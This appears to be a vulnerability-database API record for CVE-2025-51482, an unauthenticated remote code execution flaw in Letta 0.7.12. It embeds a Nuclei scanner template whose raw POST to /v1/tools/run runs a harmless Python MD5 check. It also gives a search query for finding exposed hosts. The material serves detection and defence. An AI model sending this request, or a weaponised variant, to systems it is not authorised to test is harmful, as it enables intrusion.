{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-51482/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-51482/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-51482/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-51482/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-51482/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-51482"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-51482"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-51482.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2025-51482\n\ninfo:\n  name: Letta Letta 0.7.12 - Remote Code Execution\n  author: RaghavArora14\n  severity: high\n  description: |\n    Letta 0.7.12 is vulnerable to remote code execution via POST /v1/tools/run in letta.server.rest_api.routers.v1.tools.run_tool_from_source, allowing attackers to execute arbitrary Python and OS commands via crafted tool source code.\n  impact: |\n    Unauthenticated attackers can execute arbitrary Python code through crafted tool source code in the /v1/tools/run endpoint, achieving remote code execution.\n  remediation: |\n    Upgrade Letta to a version later than 0.7.12 that properly validates and sandboxes tool source code execution.\n  reference:\n    - https://www.gecko.security/blog/cve-2025-51482\n    - https://github.com/letta-ai/letta/pull/2630\n    - https://github.com/Kai-One001/Letta-CVE-2025-51482-RCE\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-51482\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2025-51482\n    epss-score: 0.01876\n    epss-percentile: 0.7849\n    cwe-id: CWE-94\n    cpe: cpe:2.3:a:letta:letta:0.7.12:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: letta\n    product: letta\n    fofa-query: title=\"Letta\"\n  tags: cve,cve2025,rce,letta,vkev,vuln\n\nvariables:\n  num: \"999999999\"\n\nhttp:\n  - raw:\n      - |\n        POST /v1/tools/run HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"name\": \"nuclei\",\n          \"args\": {},\n          \"json_schema\": {\"type\": \"object\", \"properties\": {}},\n          \"source_code\": \"def nuclei():\\n    import hashlib\\n    data='{{num}}'.encode('utf-8')\\n    return ''+hashlib.md5(data).hexdigest()\"\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{md5(num)}}'\n          - 'tool_return\":'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022032fd3f16015064f5c1da6eea6b6c52bcd74293c125cc3afd25fb5d0999d739e3022100f6481bb80723b2516ba674c140b625dcf73da33e11fd0b64894f43d20bb3d98e:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-51482"
}